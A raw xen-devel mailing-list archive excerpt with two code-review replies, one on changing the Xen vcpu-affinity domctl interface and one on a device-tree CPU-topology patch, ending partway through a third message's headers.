Delivery-date: Wed, 01 Jul 2026 11:40:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349828.1607464 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetIQ-00076p-GO; Wed, 01 Jul 2026 11:40:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349828.1607464; Wed, 01 Jul 2026 11:40:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetIQ-00076G-Bq; Wed, 01 Jul 2026 11:40:02 +0000
Received: by outflank-mailman (input) for mailman id 1349828;
 Wed, 01 Jul 2026 11:40:01 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wetIP-0006su-Jh
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:40:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetIO-002VSd-AA
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:40:00 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44fc87-bab6-0a2a0a5309dd-0a2a4503bf78-18
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:40:00 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44fc90-ec1a-0a2a45030019-d155802ee5e2-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:40:00 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493ae59eca6so4128385e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:40:00 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493bef183e7sm65447665e9.2.2026.07.01.04.39.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:39:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782905999; x=1783510799; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=rYKAVaQuo8eKKWDrMgIyL4y5Aht7RlfTqBfK1xy4GQY=;
        b=Ep6++e/yG73TEZHMv10k5+vFmPgLdOGkkkG/KClO+U4ozE+0bfNy7+dfnp+pormJKy
         Q3VGxJezZ0JyHNTOx7KQj9fwrubz/iqiqQtkNxLjvrP6S4LPkIoaFY4nSIAfYu9+FJbw
         RKTjBC/henvZQV8vE5NLEqBXlUAm6x9SX/goT6Fb/iSJ9qXi3KrmFZE+zSo0XgR8tHYF
         qBu3J7LpgEiSMBn3UU+kKd591cLH+K5ha3YKePMKap+4uCX42khhQXF0K0qVpKlr9Fed
         6lPav/hcPgpmEF1AckesVAOhK3M6YCfkdaRN+gK3WyYvc397K2k/up2VhH5f2rLqmPTU
         sDzg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782905999; x=1783510799;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=rYKAVaQuo8eKKWDrMgIyL4y5Aht7RlfTqBfK1xy4GQY=;
        b=ni2adiMDXxkQLlwsCby6hQC5pYEpd1ZkQUU3ouek6bKnxKCYDkK8CBC3Z1THPSKI5W
         M8AFzyEyTkYisXrF2fUvG0tnGWBd35Ngz0Cc01cKwvS82L8kvIbzfi0y8YTEx7V8mstH
         CUke2ahYDq/RmUv1uZHwl5QmRt8T/eHvsyJP+4eJtafDbsF1VID2DFzKmhTwvvCTUQlG
         exbWaL8Xlr9RDse2K2EjXw+xLXGwdw61uck9CeparoKwacydGR/+EcwJ1Y5zFAQ7kniB
         7SRv2MPAhNeVAltO6ZktLPUTIlISIB39GnQNBihTT+wlA9PV+EbWmzT8goWN5ZGxsaak
         fbww==
X-Forwarded-Encrypted: i=1; AFNElJ/bMryzsC63Q3y6V2ZXQRN4quTwJ7Sf1eZYK43EW/PQTt4ybrNEpbwhHqi7+Fu345QCtiuBMdvTPkk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwwW0AEBMJe9FG7RF0xZ0vrr/F5DBdjMOeC559Ri0PUsEv/Efan
	Delcto62BVOGsfdibwo1kBsv3GGs5jKdrCrxwn4n7FPRUPol0rt3I0x5IVw/IgInqw==
X-Gm-Gg: AfdE7ckDjSfByPs03F5+L/2BqzhrBaqQz67KUSsBhLvh3wKabCHLF7ACkUcJGloNfth
	PmrKxFAiKmKoLK/fZ9fOfnD4sGOwOWFMw35mHNZm78nR0hRYrZ6qGrtAlVAl5d2XthTv8vsHU/8
	ibhHofuuzVvJxndnQV7pmBJ5Lss7Yq0MnYZmlnn6cp/JkMQGNpbhQOay641dayrhATGOL16G7Xw
	G0EU3FzSH1o2Un22FNmocDLrNfYJOZId3csuvWmbxNkUpabr0CDNYCuSuom1PBBivkAMxw5Xe/J
	xuaReWuZQ8yHnmVn8niq4LNB5yaoZMk9cmkplA97EpYehqfh6ugSiZbMPZ+nvKa3toULvQPJuc+
	xN7dKBfQk509cnezq6/vJGz4C7+pg1lkBvx3VoHneCb9bhK/qExLSGSdA2lnKgdPPkdbnUJDAch
	ieHV3l8T6PXx92mpLG0TrHoCJS/pGSLy1mMbHf5zWh5KGpZbJwX15+movcY+USP3GFcux1XfZRo
	VWy
X-Received: by 2002:a05:600c:5292:b0:492:3754:15f2 with SMTP id 5b1f17b1804b1-493c3cfbc7amr2855425e9.32.1782905999644;
        Wed, 01 Jul 2026 04:39:59 -0700 (PDT)
Message-ID: <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Date: Wed, 1 Jul 2026 13:39:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Juergen Gross <jgross@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98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C/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260701111606.4063972-1-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1782906000-0672E5D1-AE22DE4B/0/0
X-purgate-type: clean
X-purgate-size: 1140

On 01.07.2026 13:16, Juergen Gross wrote:
> Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
> affinity settings of a vcpu, it will return the new effective settings,
> too.
> 
> In case an error happens during this hypercall, the expectation of the
> caller is that the affinity of the vcpu didn't change. This isn't true,
> however, if passing the new effective affinity back to the user is
> failing.

That'll be the caller's fault though. Any -EFAULT coming back are an
indication that the caller needs fixing.

> Instead of making error handling in the hypervisor even more complex,
> just change the interface by NOT passing back the new affinity. It can
> easily be obtained by another XEN_DOMCTL_getvcpuaffinity call if
> needed.

At the expense of further increasing the pressure on the domctl lock.
When making the recent error code change in this area, I was actually
wondering in how far these two sub-ops might also be candidates for
moving out of the locked region. Yet with vcpu_affinity_domctl() not
using any locking that didn't look entirely straightforward to answer.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:45:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:45:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349838.1607473 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetNr-0008SW-1i; Wed, 01 Jul 2026 11:45:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349838.1607473; Wed, 01 Jul 2026 11:45:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetNq-0008SP-UL; Wed, 01 Jul 2026 11:45:38 +0000
Received: by outflank-mailman (input) for mailman id 1349838;
 Wed, 01 Jul 2026 11:45:38 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wetNp-0008SJ-Sj
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:45:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetNo-008PFT-Tw
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:45:36 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44fdda-5cb7-0a2a0a5109dd-0a2a4502b166-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:45:36 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44fde0-5a27-0a2a45020019-d155dd30e5f1-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:45:36 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-4759b4f0897so427502f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:45:36 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47566743895sm17461760f8f.25.2026.07.01.04.45.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:45:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782906336; x=1783511136; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=5hrIydMOAiTB5cTAwAIR2dJyjPbp8ikRcPYLGTbOWX8=;
        b=OsK1Rr49K/rq0vVG+p1SJL6K9HXhLm8bd/S8LWDLkMgrk0FdlTT58NiJco5w6/IyW7
         yMjCSYwG/uSB+U4snYVDGVBzw+a0vqkuvXFe1GsMQiRPsQUF/G4FHzhFpTSoWMYqQ7uP
         DgzKf2EmPuyYUK8q/dFsV1CURYlON1RjaVrpgdsnSwjKDywH2uElOGtWpqWlYzrHEERu
         4fufTV4NRLME5zOCaIf0FDjv0mRVuQvSoA3WesSp3adLem/tpMd5lzk0QyQMcXVzgF/y
         JLVOYrUZeCda2S0zBpJakUym78Gb3WHEsImx7Ajbcm7YXGKQmJInbVdaGEQSPqs72B8A
         uqIQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782906336; x=1783511136;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=5hrIydMOAiTB5cTAwAIR2dJyjPbp8ikRcPYLGTbOWX8=;
        b=YQ3nppLZkl1GbhQ26inqchzGq92IR8l4Fa9oh1rm6GvaVH9bs4iggfvksSFtxvOVHo
         I03IZZCMiGcOZNstiuQ2s2gwQzFrYc+sqywMYGdPwKriAX4c62dQ6ududG5knT2x7EJQ
         9bDaThFndXzKLJGIRa4/pXv9PX35KJnDFVNZX30mzx7R6q4QAvI3N3AzBixBSdK/jJGs
         VVv7HG+Hkne/XKVuLXbf9fdB5TnEsXN7fzQCIjpYhPRyfpHaeDbnAQrVeUovx8guaZVw
         L6+8RXFkcke2HT6AmbIonmKvpZ90MaK5t4gUAP4YPNfVwJfIoKMQ1RtYdqZmNFQE9utO
         b1Zg==
X-Forwarded-Encrypted: i=1; AHgh+RqtD7a5OxvfaQNPbtnhJKmc4ev2O99dDUl5rnSASGND8RMopXqFH4ux9s/r4qDdKcaqP3bqtDgMo0o=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxztIpUN29V18Sel8O7W7V8xi7LQkPixuJTM0pawcJ92lxe4Jfs
	b2PVwz/a41skHVJ83Av7z0qNjvlDjuvjPhgLBXKC33jFACsgS7xO7pGDDXnS9G4Z0g==
X-Gm-Gg: AfdE7cl0axcjVmBzha9AP8tQhBQB4AhKi44ytFTQdzBybN5zAvj3WiZ8QpfMCObAeNC
	tyTJ3vhvjccHIn6LpJNPOstaHdpbHSaz75mLGrcdmEZhfVbipLbken65eIChoUqRJKltNyyL9NO
	fJnpJ47RR1JSbM4cWcZCN8G4R2m2K8PPLLAKHOs5Z25iNgXRsNxcT3+h/VsFopQIeb/m4tZoLQi
	wmPGOsDJO57OIsYt9OausuLmWqHqxVypJZ2kY7RtcWhyG9GuKUah2M3nDT0hesm5niTVVMm6e1p
	0ATaefjIjRpQZTdntakJIrBCgA7QvM9jwX3wdIEUVqaT1IR6WcRNnxhIUtxqXuZOmMML4wV4cAO
	v9Q0XbbLsl85O1JFSSEkvtxi1JYd7HoD8p1885sVFR7fXgN+JASYMJ+wAZDg8FEG7u6H483dZC3
	RnVzAUU5ESCxm2Hu5kNG/rbHntTKRq5SW2bnWfHjcuWFvLOqprzMAV/6o/aucUX1ZZ7O9rUxqgm
	MDl
X-Received: by 2002:a05:6000:40db:b0:476:d13f:bb74 with SMTP id ffacd0b85a97d-477b3889836mr224557f8f.15.1782906336158;
        Wed, 01 Jul 2026 04:45:36 -0700 (PDT)
Message-ID: <a69129b1-f16b-4ce4-bf88-971f37eec418@suse.com>
Date: Wed, 1 Jul 2026 13:45:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-2-taka@valinux.co.jp>
 <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
 <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1782906336-545187C5-066B2D5A/0/0
X-purgate-type: clean
X-purgate-size: 1164

On 01.07.2026 13:11, Hirokazu Takahashi wrote:
>>> +static unsigned int __init get_cpu_for_node(struct dt_device_node *node)
>>
>> Pointer-to-const?
> 
> Do you mean this should be replaced with the following line?
> static unsigned int __init get_cpu_for_node(struct dt_device_node *const node)

No, that's a const pointer-to-something.

static unsigned int __init get_cpu_for_node(const struct dt_device_node *node)

>>> +#else /* CONFIG_CPU_TOPOLOGY */
>>> +
>>> +#define cpu_topology ((struct cpu_topology *)NULL)
>>
>> Why exactly is this needed? It very much looks as if its presence may hide bugs.
> 
> In the current code, the condition if ( cpu_topology ) is used to cover both cases:
> when CONFIG_CPU_TOPOLOGY is disabled, and when memory allocation for
> topology table fails. 
> 
> The next patch uses if ( cpu_topology ).
> 
> static int setup_cpu_sibling_map(int cpu)
> {
>     if ( !zalloc_cpumask_var(&per_cpu(cpu_sibling_mask, cpu)) ||
>          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
>         return -ENOMEM;
> 
>     if ( cpu_topology )

    if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) )

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:45:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:45:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349840.1607481 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetOB-0000MT-Bl; Wed, 01 Jul 2026 11:45:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349840.1607481; Wed, 01 Jul 2026 11:45:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetOB-0000MK-8n; Wed, 01 Jul 2026 11:45:59 +0000
Received: by outflank-mailman (input) for mailman id 1349840;
 Wed, 01 Jul 2026 11:45:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wetO9-0000Ki-BJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:45:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetO8-008PKA-O8
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:45:56 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fdef-5cb7-0a2a0a5109dd-0a2a4502c3b6-12
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:45:56 +0200
Received: from [52.101.52.30]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fdf3-5a27-0a2a45020019-3465341e313a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:45:56 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by PH7PR03MB7046.namprd03.prod.outlook.com (2603:10b6:510:2b9::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.14; Wed, 1 Jul
 2026 11:45:52 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Wed, 1 Jul 2026
 11:45:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QJzSbWKGWhvITfFOAs179X3pp2NBtZDxe3KNlK+Ythw9J9n4e0Gn1iVIKuMUfU639os20dTfB26y/C1DPTnYm8sZgLd00J70PwueE06st7npLMNzgJ4fxWyT79j46g/iaX8GpDndOzE4h00yJhoFTEA+C8NQxTR80GdFJ+MswAeunoDzVytjRmw4bqw5ysmoQqOabm0C/osbFgshiUMSmJMIZGDaY08WBfZ9o5UKD2MdH3ClZunjPTOyo2qmeqDg4V/zwNKrtx1U0hH9HXRvMCZhyA06mcPoj63NEHaef6c96Vl8GABOKSGfrC+nGVAf+2fOpuz7wd0xUcodwjHk3Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=WueZbxSu5EcZz33Apb7DEOQvnEy4dTm+LqS2QV4IlrI=;
 b=j9HhHSXPlnGDgRpZrTwi3izVYvnFWEJyfBwWf5gwR5xhsgHPQ+NBuA2iLrvFiWE5gue3nTn5TDd+z2z84V0KA0sbsWkbH0nQnAl52B0hIUutTpIyOqj9MAtbrD40oRdrrzQV9Hq4qefGhHPS0u8GRG7g6q54f6Xrx5stY0O+c0bpbmrNN9u3STpZc0E5E+eTXl6qtj9XS5UULQnw8qPj7thp3lEdP8GmhoL8oy3v9f4mt3eVwAcOYHlSx6/NskRL3g4Bi+l3F6wSVSbDwb/vCZRJua3agRyR2OWDEjAFbcPGqfjQR11dql4YNgCjFiHk0nAKLpl7fx5K3x0jk71Kmg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=WueZbxSu5EcZz33Apb7DEOQvnEy4dTm+LqS2QV4IlrI=;
 b=wrZgnpiNc7MamjcHyTfqzlu/WRXhizOumvOyOCn1VIxRd3XWZPHNBdOdIlE+mATqqoLdtdVee6D0FhvGyBdOegsF4r/8vxvYde6GSsDNkzb1k7qoHIE1/wNat+GS7SyNXhFVTxmhHmKzuUA7vb/cLeQIM5W3/iMLkWEQfnBLoM8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
